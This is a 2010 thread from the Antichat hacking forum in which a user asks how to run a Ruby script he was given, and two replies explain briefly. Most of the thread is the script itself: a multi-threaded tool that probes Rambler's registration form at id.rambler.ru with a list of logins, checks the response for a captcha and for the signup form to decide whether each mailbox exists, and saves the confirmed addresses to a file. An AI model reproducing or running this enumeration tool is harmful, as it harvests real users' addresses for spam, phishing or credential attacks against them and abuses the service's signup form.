Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Как запустить???? (https://forum.antichat.xyz/showthread.php?t=175567)

{BuT@Min} 02.02.2010 12:34

Как запустить????
 
Вобщем дали мне код а как запустить незнаю,про руби узнал тока сегодня помогите плз.

Код:

#!/usr/bin/ruby
require 'net/http'
#require 'net/https'

if ARGV.size<4 or ARGV.size>6
  puts "Not enought arguments\n<logfile> <maillistfile> <outfile> <count> [<threads count> <begin no>]"
  puts "default threads count is equal 50"
  exit
end 

$logfile=ARGV[0]
$maillistfile=ARGV[1]
$outputfile=ARGV[2]
$count=ARGV[3].to_i
if ARGV.size>=5 then $max_th_count = ARGV[4].to_i else $max_th_count=50 end
if ARGV.size==6 then $beg_no=ARGV[5].to_i else $beg_no=0 end
begin
  $logf=File.open($logfile,"a")
rescue
  puts "Can't create logfile #{$logfile}"
  exit
end
 
def exist_mail(login)

  begin
    http = Net::HTTP.new('id.rambler.ru', 80)
  rescue => e
    $logf.puts "#{Time.now}: Socket error: #{e}"
  end

  path = '/script/newuser.cgi'

  # GET request -> so the host can set his cookies
  begin
    resp, data = http.get(path, nil)
  rescue => e
    $logf.puts "#{Time.now}: Can't get page: #{e}"
  end
  cookie = resp.response['set-cookie']

  # POST request -> logging in
  data = "back=&step=one&login=#{login}&firstname=fuck&lastname=fuck"
  headers = {
    'Cookie' => cookie,
    'Referer' => 'http://id.rambler.ru/script/newuser.cgi',
    'Content-Type' => 'application/x-www-form-urlencoded'
  }
  begin
    resp, data = http.post(path, data, headers)
  rescue => e
    $logf.puts "#{Time.now}: Can't send form: #{e}"
  end

  return (!(data.include?("captcha")) and data.include?("<input type=\"text\" name=\"firstname\""))
end#def

begin
  $mlf=File.open($maillistfile,"r")
rescue => e
  puts "#{Time.now}: Can't read #{$maillistfile}: #{e}"
  $logf.puts "#{Time.now}: Can't read #{$maillistfile}: #{e}"
  exit
end

$th_cnt=0
kk=0
while kk<$beg_no do
        $mlf.gets
        kk+=1
end


$num=0
while $num<$count do
          while $th_cnt>=$max_th_count do sleep(3) end
          $th_cnt+=1
        sleep(0.1)
        th=Thread.new do
                    str=$mlf.gets
                    $num+=1
                    if str!=nil
                        if exist_mail(str.chop!)
                              puts "#{$num}) #{Time.now}  #{str}@rambler.ru ========== EXIST ==========="
                              File.open($outputfile,"a"){|sfile| sfile.puts "#{str}@rambler.ru"} 
                        else
                              puts "#{$num}) #{Time.now}  #{str}@rambler.ru FAIL"
                        end
                    end
                    $th_cnt-=1
          end
 
end
$mlf.close
$logf.close


superboy4 02.02.2010 13:26

в консоли напиши ruby filename.rb

lukmus 02.02.2010 14:30

посмотри исходную тему я все там расписал


Время: 21:18